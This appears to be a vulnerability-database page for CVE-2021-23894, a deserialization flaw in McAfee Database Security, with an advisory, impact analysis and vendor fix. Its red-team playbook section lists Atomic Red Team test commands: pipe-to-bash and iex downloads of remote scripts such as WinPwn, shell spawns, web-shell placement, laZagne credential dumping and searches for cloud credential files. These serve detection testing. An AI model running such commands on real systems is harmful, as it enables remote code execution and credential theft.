CVE-2021-23894
Overview
This vulnerability is a deserialization flaw in McAfee Database Security (DBSec) prior to version 4.8.2. It arises from improper handling of Java serialized objects received by the DBSec server, allowing untrusted data to be deserialized without sufficient validation. The affected component is the Java deserialization mechanism within the DBSec server that processes incoming serialized payloads.
Vulnerability Description
Deserialization of untrusted data vulnerability in McAfee Database Security (DBSec) prior to 4.8.2 allows a remote unauthenticated attacker to create a reverse shell with administrator privileges on the DBSec server via carefully constructed Java serialized object sent to the DBSec server.
Impact
An attacker with network access and no authentication can exploit this vulnerability to execute arbitrary code with administrator privileges on the DBSec server. This enables full control over the affected system, including the ability to establish reverse shells for persistent access. The impact includes potential data compromise, lateral movement within the network, and disruption of database security monitoring. The CVSS vector (AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) confirms that no user interaction or privileges are required and that the vulnerability impacts confidentiality, integrity, and availability at a critical level.
Solution
McAfee recommends upgrading McAfee Database Security to version 4.8.2 or later to address this vulnerability. Detailed patch instructions and advisory information are available in McAfee's security bulletin SB10359 at https://kc.mcafee.com/corporate/index?page=content&id=SB10359. No workarounds are specified; applying the vendor-provided update is the primary remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in McAfee Database Security arises from improper handling of deserialization processes, which allows an attacker to exploit the system by sending specially crafted Java serialized objects. This flaw occurs when untrusted data is deserialized without adequate validation, enabling malicious actors to manipulate the deserialization process. By crafting a specific payload, an attacker can execute arbitrary code on the server, leading to the establishment of a reverse shell with administrator privileges. This capability grants the attacker extensive control over the affected server, potentially compromising sensitive data and system integrity.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving remote unauthenticated access. An attacker could leverage social engineering tactics to trick a user into triggering the deserialization process or directly send malicious payloads to the server if it is exposed to the internet. Once the payload is executed, the attacker gains access to the server environment, allowing them to execute commands, install additional malware, or exfiltrate sensitive information. The ability to create a reverse shell means that the attacker can maintain persistent access and control over the compromised system, which significantly increases the risk of further exploitation.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on McAfee Database Security for protecting their database environments. The potential for unauthorized access to sensitive data, including personally identifiable information (PII) and financial records, poses a significant business risk. The breach of such data can lead to severe financial penalties, loss of customer trust, and reputational damage. Furthermore, the presence of a reverse shell allows attackers to pivot to other systems within the network, escalating the risk of a broader compromise. Organizations may also face regulatory scrutiny and legal repercussions if they fail to adequately protect their data.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the McAfee Database Security software to the latest version is crucial, as patches are often released to address known vulnerabilities. Additionally, employing intrusion detection systems (IDS) can help identify unusual patterns of network traffic that may indicate exploitation attempts. Organizations should also conduct thorough security assessments and penetration testing to identify potential weaknesses in their systems. Implementing strict access controls and ensuring that only trusted data is processed can further reduce the risk of exploitation.
In conclusion, the deserialization vulnerability in McAfee Database Security presents a significant threat to organizations utilizing this product. The potential for remote code execution and the establishment of a reverse shell with administrative privileges underscores the importance of robust security practices. By prioritizing timely updates, employing detection mechanisms, and fostering a security-aware culture, organizations can mitigate the risks associated with this vulnerability and protect their critical assets from unauthorized access and exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Mcafee | Database Security | All |
cpe:2.3:a:mcafee:database_security:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
52%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-23894 |
| kc.mcafee.com |
GitHub CVE
x_refsource_CONFIRM
|
https://kc.mcafee.com/corporate/index?page=content&id=SB10359 |